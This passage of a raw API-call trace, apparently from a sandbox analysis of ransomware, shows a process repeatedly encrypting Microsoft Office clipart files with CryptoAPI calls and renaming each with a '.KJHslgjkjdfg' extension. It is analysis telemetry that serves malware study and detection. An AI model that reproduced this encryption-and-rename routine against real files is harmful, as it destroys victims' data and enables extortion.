lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.782] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.782] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.782] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6ca8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6ca8, lpOverlapped=0x0) returned 1 [0190.783] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cb0, dwBufLen=0x6cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cb0) returned 1 [0190.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.783] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6cb0, lpOverlapped=0x0) returned 1 [0190.783] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.783] SetEndOfFile (hFile=0x114) returned 1 [0190.787] GetProcessHeap () returned 0x2a0000 [0190.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.787] GetProcessHeap () returned 0x2a0000 [0190.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.kjhslgjkjdfg")) returned 1 [0190.789] CloseHandle (hObject=0x114) returned 1 [0190.789] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0190.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.790] GetProcessHeap () returned 0x2a0000 [0190.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.790] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.793] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.793] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.793] GetProcessHeap () returned 0x2a0000 [0190.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.793] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.793] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.793] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.793] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.793] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.793] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.793] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.793] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.793] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.793] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1088, lpOverlapped=0x0) returned 1 [0190.794] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090, dwBufLen=0x1090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090) returned 1 [0190.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.794] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1090, lpOverlapped=0x0) returned 1 [0190.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.795] SetEndOfFile (hFile=0x114) returned 1 [0190.797] GetProcessHeap () returned 0x2a0000 [0190.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.797] GetProcessHeap () returned 0x2a0000 [0190.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.kjhslgjkjdfg")) returned 1 [0190.798] CloseHandle (hObject=0x114) returned 1 [0190.798] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0190.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.800] GetProcessHeap () returned 0x2a0000 [0190.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.800] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.800] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.802] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.802] GetProcessHeap () returned 0x2a0000 [0190.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.802] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.802] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.803] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.803] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x578, lpOverlapped=0x0) returned 1 [0190.803] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x580, dwBufLen=0x580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x580) returned 1 [0190.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.803] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x580, lpOverlapped=0x0) returned 1 [0190.803] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.803] SetEndOfFile (hFile=0x114) returned 1 [0190.805] GetProcessHeap () returned 0x2a0000 [0190.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.805] GetProcessHeap () returned 0x2a0000 [0190.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.kjhslgjkjdfg")) returned 1 [0190.807] CloseHandle (hObject=0x114) returned 1 [0190.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0190.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.809] GetProcessHeap () returned 0x2a0000 [0190.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.809] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.811] GetProcessHeap () returned 0x2a0000 [0190.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.811] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.811] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.811] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.812] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.812] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.812] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3086, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3086, lpOverlapped=0x0) returned 1 [0190.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3090, dwBufLen=0x3090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3090) returned 1 [0190.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.813] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3090, lpOverlapped=0x0) returned 1 [0190.813] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.813] SetEndOfFile (hFile=0x114) returned 1 [0190.815] GetProcessHeap () returned 0x2a0000 [0190.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.815] GetProcessHeap () returned 0x2a0000 [0190.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.kjhslgjkjdfg")) returned 1 [0190.817] CloseHandle (hObject=0x114) returned 1 [0190.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0190.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.820] GetProcessHeap () returned 0x2a0000 [0190.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.820] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.820] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.822] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.822] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.822] GetProcessHeap () returned 0x2a0000 [0190.822] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.822] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.822] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.822] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.822] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.822] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.823] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.823] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d14, lpOverlapped=0x0) returned 1 [0190.824] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d20) returned 1 [0190.824] SetFilePointerEx (in: hFile=0x114, 